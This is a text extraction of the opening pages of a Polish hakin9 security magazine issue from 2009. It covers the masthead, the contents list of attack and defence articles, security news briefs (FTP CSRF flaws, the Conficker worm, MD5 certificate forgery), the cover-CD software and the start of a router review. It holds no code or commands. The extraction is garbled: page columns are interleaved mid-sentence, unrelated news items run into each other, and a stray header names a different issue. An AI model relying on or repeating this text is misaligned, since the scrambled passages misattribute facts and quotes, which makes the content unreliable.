You are on page 1of 84

DOSTĘP DO APLETÓW JAVY

2/2009 HAKIN9 44
SPIS TREŚCI
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
NARZĘDZIA
Dyrektor wydawniczy: Paweł Marciniak
Redaktor naczelny: Katarzyna Juszczyńska
12 Router WRT 160 N
katarzyna.juszczynska@software.com.pl

POCZĄTKI
Redaktor prowadzący: Tomasz Przybylski

Kierownik produkcji: Marta Kurpiewska


marta.kurpiewska@software.com.pl

DTP: Grzegorz Laskowski 14 Jestem częścią cyfrowej rzeczywistości!


Nadruk CD: Grzegorz Laskowski ŁUKASZ CIESIELSKI
Jak określić osobę nieprzeciętnie inteligentną, dążącą do osiągnięcia
Okładka: Agnieszka Marchocka, Łukasz Pabian
Dział reklamy: adv@software.com.pl wiedzy niedostępnej dla każdego? W jakich kategoriach umiejscowić
Obsługa prenumeraty: EuroPress Polska człowieka, dla którego powszechność wiedzy i łatwy dostęp do niej
software@europress.pl
jest życiowym priorytetem? Stanowi ona dorobek całej ludzkości,
Wyróżnieni betatesterzy: a nie jedynie uprzywilejowanych jednostek. Trudno piętnować osobę
Rafał Lysik, Krzysztof Piecuch
Opracowanie CD: Rafał Kwaśny
wyznającą takie założenia mianem złej. Wyobraźmy sobie jednak
sytuację, w której terroryści wejdą
Druk: 101 Studio, Firma Tęgi w posiadanie informacji uznawanych powszechnie
Nakład wersji polskiej 6 000 egz.
za niebezpieczne. Życie setek, a może nawet
Wydawca: tysięcy niewinnych osób zawiśnie na włosku.
Software–Wydawnictwo Sp. z o.o.
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:


cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie


i na towarzyszących mu nośnikach informacje i programy
były poprawne, jednakże nie bierze odpowiedzialności za
efekty wykorzystania ich; nie gwarantuje także poprawnego
działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością


odpowiednich firm i zostały użyte wyłącznie w celach
informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

ATAK
program firmy

Płytę CD dołączoną do magazynu przetestowano


programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu


automatycznego składu
22 Niekonwencjonalne ataki Wi-Fi
NORBERT KOZŁOWSKI
UWAGA! Wszyscy ci, którzy interesującą się tematyką bezpieczeństwa WiFi,
Sprzedaż aktualnych lub archiwalnych numerów pisma
w cenie innej niż wydrukowana na okładce – bez zgody na pewno spotkali się kiedyś z pojęciami typu łamanie klucza WEP,
wydawcy – jest działaniem na jego szkodę i skutkuje fałszywa autentykacja MAC czy przechwycenie 4-way handshake,
odpowiedzialnością sądową.
w kontekście łamania zabezpieczeń WPA. Są to techniki ogólnie
hakin9 ukazuje się w następujących krajach: dostępne i nieprzysparzające w zastosowaniu większego problemu.
Hiszpanii, Argentynie, Portugalii, Francji, Belgii, Niewiele jednak osób zna sposoby na skuteczne zakłócenie działania
Luksemburgu, Kanadzie, Maroko, Niemczech,
Austrii, Szwajcarii, Polsce, Czechach, Słowacji. całej sieci bezprzewodowej.

Prowadzimy również sprzedaż kioskową


w innych krajach europejskich. 28 Exploity i shellcode
Magazyn hakin9 wydawany jest PIOTR JASTAK
w 4 wersjach językowych:
Exploit to francuskie słowo oznaczające osiągnięcie. Większości osób
PL EN FR DE
zainteresowanych tematyką bezpieczeństwa komputerowego kojarzyć
UWAGA! się będzie raczej z wykorzystaniem słabości oprogramowania źle
Techniki prezentowane w artykułach mogą być napisanego pod kątem bezpieczeństwa. Poznanie głównych zasad
używane jedynie we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za działania exploitów, a także shellcodów, jest dobrym wstępem do
niewłaściwe użycie prezentowanych technik analizy świata zabezpieczeń komputerowych. Artykuł ten może też
ani spowodowaną tym utratę danych.
pełnić rolę krótkiego przypomnienia informacji dla osób bardziej
doświadczonych.

4 HAKIN9 4/2009
SPIS TREŚCI
34 Phreaking – łamanie zabezbieczeń
RAFAŁ PODSIADŁY
Dzisiejszy artykuł będzie poświęcony bardzo rozległej tematyce
STAŁE
bezpieczeństwa informacji. W pierwszej kolejności autor nawiąże do
wydania grudniowego, w którym bardzo dokładnie opisywał techniki
socjotechniczne, a później – przytaczając kilka przykładów – opisze ataki
RUBRYKI
typu phreaking lub pharming. Następnie opisze, na czym polegają te 6 Aktualności
techniki, jak były wykorzystywane i w jaki sposób nowoczesne rozwiązania Przedstawiamy garść najciekawszych
(w szczególności karty inteligentne) umożliwiają wykonywanie tych ataków wiadomości ze świata bezpieczeństwa
dziś. systemów informatycznych i nie tylko.
Oto kilka z nich:
42 Metasploit Framework • Wirtualna śmierć Jobsa;
GRZEGORZ GAŁĘZOWSKI
• Paris Hilton na celowniku
Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem
cyberprzestępców;
trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego
testowania, większość zarówno dużych, jak i nawet małych programów
zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów 10 Zawartość CD
źródłowych. Prezentujemy programy:

• Ad Aware 2008 plus

OBRONA •


Ad Aware 2008 Pro
Lavasoft Anti-Virus Helix
Lavasoft Digital Lock
• Lavasoft File Shredder
52 System kopii zapasowych Bacula • Lavasoft Personal Firewall 3.0
MARCIN KLAMRA • Lavasoft Privacy Toolbox
Wykonywanie kopii zapasowych jest operacją niezbędną w każdym
środowisku, w którym tworzy się dane, szczególnie gdy są one cenne
74 Wywiad
bądź trudne do odtworzenia. Proces wykonywania kopii zapasowych
Rozmowa z Jackiem Brinsonem.
jest monotonny, a jako taki powinien być wykonywany automatycznie,
Dyrektorem Oracle odpowiedzialnym
bez interwencji człowieka. Spełnienie tego warunku wymaga posiadania
za produkty związane z zapewnianiem
stosownego sprzętu oraz odpowiedniego, poprawnie skonfigurowanego
bezpieczeństwa informacji składowanych
oprogramowania.
w bazach danych

62 Walka z pakerami 78 Felieton


0X0BADDAED
Tylko dwie rzeczy są nieskończone...
Analiza złośliwego oprogramowania wymaga często znajomości technik
Krzysztof Piecuch
pakowania i zaciemniania kodu binarnego, jakie stosują autorzy malware'u.
W tym artykule dowiecie się, w jaki sposób obejść te zabezpieczenia i odpakować
program do postaci nadającej się do dalszego badania w deasemblerze. 82 Zapowiedzi
Zapowiedzi artykułów, które znajdą się w
następnym wydaniu magazynu hakin9

PRAKTYKA
70 Zakłócanie śledztwa elektronicznego
GRZEGORZ BŁOŃSKI
Anti-forensics – działania mające na celu utrudnienie zdobycia
dowodów elektronicznych, wpływanie na ilość oraz jakość
tych dowodów, skompromitowanie osoby
prowadzącej analizę dowodów cyfrowych.
Tak w dużym uogólnieniu może brzmieć
definicja tego tajemniczego zwrotu.
W polskich warunkach informatyka śledcza
rozwija się niezbyt dynamicznie, jednak
metody pozwalające na utrudnianie
prowadzenia takiego śledztwa są znane
także naszym rodakom.

4/2009 HAKIN9 5
W SKRÓCIE
firma Microsoft udostępniła poprawkę. Scjentologicznym i włamała się na konto
LICZNE PODATNOŚCI CSRF Aktualizacja naprawia błąd występujący należące do Sarah Palin.
W DEMONACH FTP w Windows Media Playerze. Luka
Maksymilian Arciemowicz z powoduje kasowanie początku pliku
SecurityReason.com stwierdził .mp3. Z PIRATAMI NA GIEŁDZIE
występowanie błędów typu Cross- W tej chwili po zainstalowaniu systemu Wrocławska policja zatrzymała dwie
site request forgery w demonach FTP Windows 7 beta 1 system automatycznie osoby podejrzane o handel pirackimi
różnych dostawców. Mimo, iż błąd został pobiera aktualizację. kopiami filmów. Podczas akcji
opublikowany we wrześniu 2008 roku, Producent nie opracował jednak funkcjonariusze zabezpieczyli blisko 1200
nadal wiele maszyn pozostaje narażonych poprawki do błędu w protokole SMB. płyt DVD. Wstępne straty producentów
na opisany atak, a uczestnicy licznych Koncern tłumaczy, że dla wersji beta to około 100 tys. złotych. Podejrzanym
projektów ftpd wciąż wdrażają poprawki. Na wydaje tylko poprawki dla krytycznych luk, grozi kara nawet do 5 lat pozbawienia
pozór niegroźny błąd stał się koszmarem a błąd w SMB Windows 7 został oceniony wolności.
wielu administratorów. jako umiarkowanie krytyczny.
Błąd CSRF można wykorzystać do
przygotowania pułapki na zalogowanego HAKERZY ATAKUJĄ STRONY
użytkownika FTP, przeglądającego zasoby WIRTUALNA ŚMIERĆ JOBSA POLSKICH HOMOSEKSUALISTÓW
demona za pośrednictwem przeglądarki Na tak niecodzienny żart skusili się Główna strona jednego z największych
internetowej. Niczego nieświadomy cyberprzestępcy, włamując się na portali homoseksualistów w Polsce
użytkownik może zmienić uprawnienia do stronę konferencji MacWorld 2009 i została podmieniona, jednak
dowolnego pliku bądź wykonać dowolne umieszczając w RSS wiadomość o administracja serwisu szybko
polecenie. rzekomej śmierci szefa Apple'a, Steve'a przywróciła porządek. Na stronie głównej
Skala zagrożenia obejmuje większość Jobsa. Zaledwie po chwili pojawiło się umieszczono tekst ośmieszający pana o
demonów ftpd: proFTPd, SmbFTPd, sprostowanie: nicku mario_vs.
lukemftpd, tnftpd i wiele innych. Więcej Wycofanie informacji o Jobsie... nie Strona polgej.pl była już wcześniej
informacji znaleźć można pod adresem wiemy, jak trafiło to do naszego RSS-a. atakowana przez hakerów, ostatnio
http://securityreason.com/polish/badania_ Steve nie umarł. właśnie przez osobę o pseudonimie
podatnosc/56. A zaraz potem ukazała się kolejna mario_vs.
informacja: Oj, przepraszamy. Steve nie
żyje. Serdeczne kondolencje.
PIERWSZA ŁATKA DLA WINDOWS 7 Już wiadomo, że żartownisie są CZAS POPSUŁ ODTWARZACZE
Nie tak dawno ukazała się pierwsza związani z witryną 4Chan, która już ZUNE
wersja systemu Windows 7 beta 1, a już wcześniej rozsyłała plotki o Kościele Wraz z nowym rokiem wszystkie
odtwarzacze Zune pierwszej generacji
przestały działać. Awaria ta jest
spowodowana błędem w obsłudze przez
zegar Zune'a roku przestępnego.
Jak informuje producent odtwarzacza
– firma Microsoft – aby odtwarzacz zaczął
znów działać, należy poczekać jeden
dzień, a następnie wykonać twardy reset
urządzenia. Powinno to spowodować
przywrócenie wszystkich funkcji
odtwarzacza.

6 HAKIN9 4/2009
JAKUB BUCZYŃSKI

Microsoft Windows. Co gorsza, zadaniem systemu jest informowanie


JESZCZE BARDZIEJ malware rozprzestrzenia się nie tylko w policji o położeniu skradzionego
ENERGOOSZCZĘDNE PROCESORY Internecie, ale także poprzez urządzenia komputera.
INTEL CORE 2 QUAD USB. Robaki z rodziny Conficker W najnowszej wersji narzędzie
Firma Intel wpuściła na r ynek trzy pobierają również inne złośliwe kody na integruje się z systemem pozycjonowania
nowe czterordzeniowe procesor y o zainfekowany komputer. geograficznego Skyhook. Jest ono w
TDP na poziomie 65W (w przypadku Zaobserwowano trzy warianty stanie obliczyć (wykorzystując operacje
poprzednich modeli wartość ta wynosiła szkodnika: Conficker A, B i C. Robak trygonometryczne) położenie obiektu,
95W, a nawet i więcej). rozprzestrzeniał się, wykorzystując odbierając jego sygnał z punktów
Nowe procesor y prezentują się w tym celu lukę w zabezpieczeniach dostępowych Wi-Fi.
następująco: najszybszy model, Core MS08-067 usługi serwera Microsoft Gdy użytkownik poinformuje Orbicule
2 Quad Q9550e, będzie pracował z Windows. Dalsza infekcja następuje o kradzieży komputera, zarejestrowana
częstotliwością 2,83GHz i szyną FSB z wykorzystaniem zmodyfikowanych w serwerach firmy maszyna zostaje
1333MHz i będzie wyposażony w 12MB wywołań RPC (ang. Remote Procedure oznaczona jako skradziona. Za
pamięci cache. Drugi model to Core Call – zdalne wywołanie procedur) do każdym razem, gdy komputer łączy
2 Quad Q9400s, jego częstotliwość innych komputerów. się z internetem, Skyhook sprawdza
nominalna wyniesie 2,66GHz, a jego identyfikator. Jeśli zostaje on
pozostałe parametr y to odpowiednio: zidentyfikowany jako skradziony, system
FSB 1333MHz oraz 5MB pamięci PARIS HILTON NA CELOWNIKU zaczyna obliczanie położenia maszyny
cache. Wreszcie trzecia nowość to CYBERPRZESTĘPCÓW na podstawie informacji z punktów
Q8200s. Jego częstotliwość pracy Cyberprzestępcy, jak do tej pory, nie dostępowych Wi-Fi.
wyniesie 2,33GHz, FSB – 1333MHz i dają spokoju Paris Hilton. Kilka miesięcy Możemy określić położenie
będzie on wyposażony w 4MB pamięci po zaatakowaniu profilu w serwisie skradzionego komputera z dokładnością
cache. Facebook włamali się na jej oficjalną do 20 metrów. Dzięki temu policja
stronę. otrzymuje dokładniejsze informacje o
Użytkownicy odwiedzający stronę poszukiwanym sprzęcie – informuje Peter
CERTYFIKAT CA DO PODROBIENIA ParisHilton.com mogli zaobserwować Schols z Orbicule.
Dokonali tego specjaliści z Politechniki pojawiające się na ekranie monitora
w Eindhoven. Udało się im sfałszować okienko, informujące o potrzebie
certyfikat jednego z dużych publicznych aktualizacji systemu operacyjnego. ŁATANIE ORACLE
centrów certyfikacji. Było to możliwe, Niezależnie od opcji wybranej przez Firma Oracle ma zamiar opublikować
ponieważ centrum używało algorytmu użytkownika w oknie pop-up (Ok lub 41 poprawek bezpieczeństwa, z czego
MD5 – co umożliwiło wywołanie kolizji i, w Cancel), użytkownik rozpoczynał 10 dotyczy produktów bazodanowych.
konsekwencji, podrobienie certyfikatu. pobieranie złośliwego oprogramowania. Co najmniej 17 z 44 dziur można
Naukowcy pobierali oryginalny Zagrożenie odkr yła firma SanSafe. wykorzystać zdalnie bez potrzeby
certyfikat centrum, który używał do Po zainfekowaniu maszyny cały ruch jakiejkolwiek autoryzacji – błędy te
haszowania sum MD5. Następnie sieciowy był przechwytywany lub określono jako luki podwyższonego
wywoływali kolizje, znajdując ciąg, który przekierowywany. ryzyka.
dawał identyczny hash MD5, jak w Wszystko, co jest w stanie Kilka błędów oznaczono najwyższym
certyfikacie oryginalnym. przechwycić i przekierować ruch, jest stopniem zagrożenia, występują one w
Posiadając taki certyfikat, można bardzo niebezpieczne – ostrzega Mar y produktach Server Backup, a także we
tworzyć i podpisywać certyfikaty SSL Landesman z firmy ScanSafe. W skali 1 wtyczce do Apache'a o nazwie WebLogic
dla nazw domenowych i tym samym do 10 określiłabym to zagrożenie na 10 Server.
przeprowadzać ataki Man In the Middle, – dodaje. Specjaliści zalecają jak najszybszą
włączać się w sesje i przechwytywać Najprawdopodobniej cyberprzestępcy aktualizację oprogramowania Oracle.
poufne dane. dostali się na stronę wykonując atak SQL
Algorytmu MD5, według statystyk, Injection.
używa się w 30% wszystkich centrów PATCH OD MICROSOFTU
certyfikacji. Firma Microsoft wydała łatę na lukę
UNDERCOVER ODNAJDZIE określaną jako krytyczna w przypadku
TWOJEGO MACBOOKA systemów Windows 2000, Windows XP
ROBAK CONFICKER Podczas konferencji Macworld belgijska i Windows Server 2003. W wersjach
Ukazała się nowa rodzina robaków firma Orbicule zaprezentowała systemu Vista i Server 2008 błąd stwarza
komputerowych o nazwie Conficker. oprogramowanie śledzące położenie trochę mniejsze zagrożenie – w obu
Do rozprzestrzenia się wykorzystują skradzionych Maców. Oprogramowanie przypadkach luka określana jest jako
one lukę w zabezpieczeniach systemu nosi nazwę Undercover. Głównym średnio niebezpieczna.

4/2009 HAKIN9 7
W SKRÓCIE
Oznacza to, że luka dotyczy przede aby zweryfikować poprawność kodu, 7 procent użytkowników, z kolei Google
wszystkim starszej wersji kodu – uważa a pirackie wersje Windows 7 mogą Chrome ma niecały jeden procent rynku.
Wolfgang Kandek, CTO z firmy Qualys. być wzbogacone o złośliwy kod. Przekroczenie progu 20 procent jest
Tak zmodyfikowana wersja systemu dla nas bardzo znaczące – przyznaje John
może ułatwić cyberprzestępcom ataki Lilly, prezes Mozilli.
IPV6 DLA ARMII typu Denial of Service (DoS), czy też
Firma AT&T zajęła się projektem spowodować, by komputer stał się
stworzenia sieci IPv6 przeznaczonej dla częścią botnetu wysyłającego spam UTRATA DANYCH W 2008 ROKU
niemieckiej armii. Całe przedsięwzięcie – ostrzega Rochwald. Jak szacują specjaliści, w 2009 roku dane
ma kosztować około 23 milionów dolarów. może stracić nawet o sto milionów osób
IPv6 to długo oczekiwany następca więcej niż w roku ubiegłym.
protokołu Ipv4. Przechodząc do konkretów, badania
128-bitowy IPv6 znacząco zwiększa firmy KPMG wykazują liczbę 190 milionów
liczbę urządzeń, które mogą być osób tracących dane (w roku ubiegłym –
indywidualnie podpięte do Internetu. 92 miliony osób). W ciągu tylko 3 miesięcy
AT&T instaluje i testuje sieć w 600 roku 2008 (od września do listopada
budynkach JTMC (Joint Multinational włącznie), ze swymi danymi pożegnało się
Training Center). Projekt AT&T ma zostać 47,8 miliona na całym świecie.
zakończony w przyszłym roku. Przewidujemy wzrost liczby prób
ataków, w wyniku czego może dojść
do kradzieży danych. Głównym celem
KONFLIKT włamań będzie przede wszystkim sektor
PALESTYŃSKO-IZRAELSKI W SIECI finansowy, dlatego to on powinien
Hakerzy przeprowadzili zakrojony na szczególnie zabezpieczyć się w tym
szeroką skalę atak spamowy, podszywając FIREFOX ZDOBYŁ roku. Podejrzewamy, że cyberprzestępcy
się pod serwis CNN.com. Atak polegał na 20 PROCENT RYNKU będą także atakować inne sektory, np.
wysyłaniu listów elektronicznych, w których Z wyników badań przeprowadzonych telekomunikacyjny – komentuje Malcom
informowali o izraelskiej inwazji w strefie przez firmę Net Applications wynika, że Marshall z KPMG.
Gazy. światowy udział Mozilli Firefox w segmencie
Pierwsze fałszywe listy zauważyła przeglądarek przekroczył barierę 20
firma RSA FraudAction Research Lab. procent. MICROSOFT LEKCEWAŻY
List przekonuje, iż zawiera informacje Już w listopadzie z Firefoksa korzystało BŁĘDY W WMP
(teksty i zdjęcia) dotyczące ataku na 20,78 procent osób na całym świecie. W wigilię Bożego Narodzenia anonimowa
strefę Gazy – informuje Sam Curr y z Udział Internet Explorera po raz pierwszy osoba zgłosiła błąd występujący w
RSA. spadł poniżej 70 procent. Z przeglądarki oprogramowaniu Windows Media Player.
Cyberprzestępcy stosują metody firmy Apple, Safari, korzysta niewiele ponad Producent zlekceważył jednak zgłoszenie
socjotechniczne. Zachęcają do otwarcia
pliku, ale aby to uczynić, internauta musi
wcześniej odwiedzić spreparowany
serwer w celu aktualizacji aplikacji
Adobe Acrobat do wersji 10. Zamiast
niej do pamięci komputera załadowany
zostaje trojan – opisuje Curr y. Trojan to
tzw. SSL stealer – jego zadaniem jest
podsłuchiwanie ruchu związanego z
usługami finansowymi – dodaje.

UWAGA NA PIRATY WINDOWS 7


Firma Fortify Software ostrzega przed
pobieraniem i instalowaniem pirackich
kopii systemu operacyjnego Windows 7.
Jak uważa Rob Rochwald, dyrektor
marketingowy w Fortify Software,
należy szczególnie uważać na to, co się
instaluje, ponieważ nie ma sposobu,

8 HAKIN9 4/2009
JAKUB BUCZYŃSKI

o luce, która występuje we wszystkich któr y zdobyć może osoba posiadająca możliwe jest podsłuchiwanie rozmów.
wersjach odtwarzacza. Pracownicy już tytuł SCNS. Certyfikat SCNP Wykonawcami tego sniffera są specjaliści
Microsoftu zbadali próbkę kodu, który potwierdza dodatkowo wiedzę z zakresu z Politechniki Darmstadt: Erik Tews z
powodował zablokowanie pracy Windows szkolenia Zabezpieczanie zasobów IT. Politechniki, Ralf-Philippe Wienmannem i
Media Playera. Usterka pozwalała Szczegółowe informacje dotyczące oferty Matthias Wenzel. Modyfikując (sprzętowo
wszakże na ponowne uruchomienie znajdują się na stronie internetowej: i programowo) kartę PCMCIA ComOnAir,
programu, a sama awaria nie wpływała www.cts.com.pl. a następnie podłączając ją do laptopa,
na stabilność systemu operacyjnego, co w Zapytania można kierować na adres: uzyskali sniffer.
konsekwencji nie pozwalało napastnikowi szkolenia@cts.com.pl.
na wstrzyknięcie złośliwego kodu.

MOZILLA THUNDERBIRD 2.0.0.19


Mozilla udostępniła swoim klientom
aktualizację klienta poczty Thunderbird
– wersję 2.0.0.19, łatając w ten sposób
siedem luk.
Pięć spośród likwidowanych
NOWE SZKOLENIA SCP Z podatności określono jako średnio istotne,
BEZPIECZEŃSTWA SIECI I pozostałe jako mało istotne. Błędy te
SYSTEMÓW IT W OFERCIE CTS pozwalały na uruchomienie złośliwego
Centrum Technik Sieciowych oferuje kodu JavaScirpt, co pozwalało m.in. na
szkolenia z zakresu bezpieczeństwa sieci zwiększenie uprawnień użytkownika czy też KDE 4.2
i systemów informatycznych opracowane kradzież danych. Wydano nową wersję środowiska
przez Security Certified Program (SCP), graficznego KDE 4.2, znaną również pod
organizację tworzącą zaawansowane nazwą kodową Cilense. Wersja ta jest
szkolenia i certyfikacje bezpieczeństwa NIEBEZPIECZNA NOKIA przeznaczona dla testerów i powinna
w sposób niezależny od dostawców Odpowiednio spreparowana wiadomość działać stabilnie. Służy głównie do
produktów IT. SCP przygotowuje tekstowa może zablokować w smartfonach zgłaszania ostatnich błędów, które będą
specjalistów IT do zapewnienia Nokii możliwość dalszego odbierania usunięte przed wydaniem wersji finalnej.
bezpieczeństwa nadzorowanym systemom SMS-ów. Tak przygotowany komunikat
w sposób kompleksowy poprzez może być wysyłany z prawie każdego
prezentację zagadnień dotyczących telefonu Nokii – ostrzega Tobias Engel, NIEBEZPIECZNE CZYTNIKI
różnych systemów (np. Windows, Linux) i niemiecki specjalista ds. bezpieczeństwa. KANAŁÓW RSS W SAFARI
rozwiązań technicznych (firewalle, routery, W najnowszych modelach telefonów Lukę w RSS znalazł programista Brian
sieci bezprzewodowe, VPN). komórkowych zaczynają pojawiać się Mastenbrook. Przeglądarka firmy Apple
Oferta obejmuje dwa szkolenia: aplikacje, chroniące przed atakiem typu naraża swoich użytkowników na utratę
Ochrona sieci informatycznej oraz Denial of Service, potocznie nazwanym danych osobowych. Błąd tkwi w sposobie,
Zabezpieczanie zasobów IT. Szkolenia te jako Przekleństwo milczenia. w jaki Safari zarządza kanałami RSS. Na
kierowane są do osób odpowiadających ataki z zewnątrz podatna jest zarówno
za bezpieczeństwo nadzorowanych wersja przeglądarki dla Mac OSX 10.5, jak i
zasobów IT, administratorów systemów SNIFFER DO TELEFONÓW dla Windows.
i pracowników działów bezpieczeństwa. BEZPRZEWODOWYCH
Obok zdobycia cennej wiedzy z Jak się okazuje, rozmowy telefoniczne
zakresu bezpieczeństwa IT szkolenia te przeprowadzane za pomocą domowych SKAZALI HAKERA NA 30 LAT
umożliwiają przygotowanie do testów telefonów bezprzewodowych mogą POZBAWIENIA WOLNOŚCI
Prometric lub VUE umożliwiających być bardzo łatwo podsłuchiwane. Atak Tak surowo potraktował turecki sąd
zdobycie certyfikatu potwierdzającego na taki telefon został zaprezentowany ukraińskiego hakera. Poza pozbawieniem
posiadaną wiedzę oraz tytułów SCNS i w Berlinie podczas konferencji Chaos wolności na 30 lat, włamywacz ma
SCNP. Communication Congress. Wykorzystuje zapłacić grzywnę w wysokości około 23
Tytuł Security Certified Network Specialist on technologię DECT (ang. Digital tysięcy dolarów. Maksym Jastremski został
(SCNS) potwierdza umiejętności Enhanced Cordless Telecommunication) postawiony przed sądem za dokonanie
ochrony sieci w zakresie tematycznym .Okazuję się, że przeprowadzenie serii ataków na dwanaście tureckich
prezentowanym w ramach szkolenia takiego ataku jest możliwe w domowych banków i liczne malwersacje finansowe.
Ochrona sieci informatycznej. Security warunkach za pomocą zmodyfikowanej Haker został aresztowany 17 miesięcy
Certified Network Professional (SCNP) karty VIP do laptopa oraz notebooka z temu w Antalii, śródziemnomorskiej
jest drugim poziomem certyfikacji SCP, systemem Linux. Dzięki takiemu zestawowi prowincji Turcji.

4/2009 HAKIN9 9
NA CD
ZAWARTOŚĆ CD
Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3
on BackTrack 3.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały
dodatkowe do artykułów.

PROGRAMY
JAK ZACZĄĆ
• Ad Aware 2008 plus Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po
• Ad Aware 2008 Pro uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez
• Lavasoft Anti-Virus Helix podawania hasła.
• Lavasoft Digital Lock
• Lavasoft File Shredder wykrywa zagrożenia z sieci, ale i blokuje pobierającymi numery, szkodliwymi
• Lavasoft Personal Firewall 3.0 je natychmiast, tym samym zapobiegając programami (Malware) i komponentami
• Lavasoft Privacy Toolbox utratę ważnych danych! szpiegowskimi.

AD AWARE 2008 PLUS AD AWARE 2008 PRO LAVASOFT ANTI-VIRUS HELIX


Wersja Ad-Aware SE Plus posiada wszystkie Wersja Ad-Aware SE Professional Anti-Virus Helix to program antywirusowy
możliwości wersji Personal, oprócz tego to najwyższy poziom obrony przed autorstwa producenta znanego
została wzmocniona dodatkowymi popularnymi zagrożeniami bezpieczeństwa dotąd przede wszystkim z rozwiązań
możliwościami dla zabezpieczenia – kradzieżą danych osobistych, anty-spyware – programu Ad-Aware.
poufnej informacji. Wersja Plus obejmuje agresywną reklamą, stronami-pasożytami, Posiada typową funkcjonalność aplikacji
zabezpieczenie w czasie rzeczywistym oszukującymi programami, niektórymi antywirusowych, między innymi skaner
przy pomocy opcji Ad-Watch, która nie tylko tradycyjnymi trojanami, programami czasu rzeczywistego, blokadę malware,
ochronę poczty i podczas przeglądania
witryn internetowych. Więcej opcji pojawia
się po włączeniu trybu eksperckiego.
Można wtedy skonfigurować wykrywanie
rootkitów, skanowanie poczty
wychodzącej i określić typy MIME do
blokowania. Program posiada przystępny
interfejs użytkownika, podobny do

10 HAKIN9 4/2009
HAKIN9.LIVE

interfejsu pozostałych aplikacji tego dysku są wciąż łatwe do przywrócenia. a zarazem bardzo skuteczne rozwiązanie
producenta. Wersja demonstracyjna Korzystanie z tej aplikacji daje pewność że nikt w walce z hakerami, robakami, trojanami i
pozostaje w pełni funkcjonalna przez 30 nie odzyska wcześniej usuniętych danych. innymi zagrożeniami pochodzącymi z sieci.
dni od instalacji. Umieszczona na pulpicie ikona Właściwości:
Shredding Bin pozwala zarządzać
wybranymi plikami. Narzędzie pozwala • Dwustronny firewall – kontrola połączeń
LAVASOFT DIGITAL LOCK użytkownikowi kontrolować historię, wchodzących i wychodzących,
Lavasoft Digital Lock jest narzędziem zarządzać archiwami komunikatorów. zapewnia bezpieczeństwo komputera.
służącym do zabezpieczania plików Aplikacja zbiera informacje na temat • Zabezpieczenie hostingu – aktywnie
hasłem. Program jest dobrym plików przy pomocy specjalnych kontroluje i blokuje wszelkie próby
uzupełnieniem własnych narzędzi raportów. kradzieży plików.
używanych do chronienia prywatnych Program posiada także wojskową • Technologia zapobiegania utraty
danych.Aplikacja jest zaopatrzona i rządową akceptację standardów ważnej informacji – wszystkie
w zaawansowane technologicznie bezpieczeństwa. Użytkownik, który niebezpieczne programy blokują się.
szyfrowanie zawierające AES 256 Bitów. zdecyduje się na zakup programu • Samozabezpieczenie – gwarantuje,
Cechuje ją szyfrowanie wszystkich otrzymuje bezpłatną pomoc techniczną niemożność deaktywacji firewalla przez
formatów do przechowywania (w języku angielskim, niemieckim i szkodliwe programy.
lub wysyłania. W celu zwiększenia szwedzkim). • Wykrywanie ataków – wszystkie
bezpieczeństwa szyfrowanie plików może Wersja testowa pozwala na 30 dni niezautoryzowane próby dostępu
przebiegać w różnorodny sposób. darmowego korzystania z aplikacji. automatycznie blokowane.
• Tryb Entertainment – zabezpieczenie
komputera podczas kiedy użytkownik
LAVASOFT FILE SHREDDER LAVASOFT PERSONAL FIREWALL 3.0 gra lub ogląda film na nim.
Lavasoft File Shredder to narzędzie do Lavasoft Personal Firewall 3.0 zapewnia • Pełna wygoda korzystania – program
trwałego usuwania danych. Pliki i dokumenty bezpieczeństwo komputera przed odpowiedni zarówno jak dla użytkowników
kasowane z komputera przy pomocy nieautoryzowanym dostępem. Lavasoft początkujących tak i profesjonałów.
przycisku delete lub poprzez formatowanie Personal Firewall 3.0 – to proste w użyciu
Wymagania systemowe:

• Windows Vista, XP, Server 2003,


Windows 2000 (SP3 i wyższe)
• Porcesor 450 MHz CPU (x-86/x-64/
multi-core), 256МB RAM, 100 МB wolnej
przestrzeni na dysku twardym
• Email protocols & Services – POP3,
SMTP, IMAP
• E-mail clients for anti-spam – Windows
Mail, Outlook Express, Outlook (all
versions)

LAVASOFT PRIVACY TOOLBOX


Lavasoft Privacy Toolbox to pakiet służący
do ochrony poufnych danych. Aplikacja
pozwala między innymi na: szyfrowania
plików za pomocą wielu algorytmów,
usuwania śladów pracy (historie aplikacji,
listy ostatnich dokumentów, itd.), a także
pozwala na usuwania wskazanych plików.
W skład programu wchodzą dwa moduły:
Żeby uruchomić swój komputer z płyty hakin9.live, ustaw swój BIOS na File Shredder (narzędzie służące do usuwanie
bootowanie z napędu CD-ROM. Po dokonanych zmianach uruchom ponownie danych w taki sposób, by już nie mogły być
komputer. Uruchomi się dytrybucja hakin9.live, na której możesz przećwiczyć techniki odzyskane) i Digital Lock (narzędzie służące
prezentowane w tutorialach. Upewnij się, ze sprawdziłeś desktopowe foldery – zawierają do szyfrowania danych). Wersja testowa
wiele dodatkowych materiałów. Zawartość CD można również przejrzeć w systemie
pozawala na 30 dni darmowego korzystania
Windows.
z aplikacji.

4/2009 HAKIN9 11
NARZĘDZIA

WRT 160 N

Standard 802.11n to najnowsze typu płytkę instalacyjną. Setup znajdujący


osiągnięcie z zakresu technologii się na krążku w szybki sposób przeprowadzi
sieci bezprzewodowych. Pozwala nas przez podstawową konfigurację routera
on urządzeniom łączyć się drogą radiową (podłączenie kabli, ustawienie hasła do
z prędkościami grubo przekraczającymi bezprzewodówki i hasła administratora).
100Mb/s. Oferuje również o wiele większy Animowane slajdy pozwolą utworzyć własną
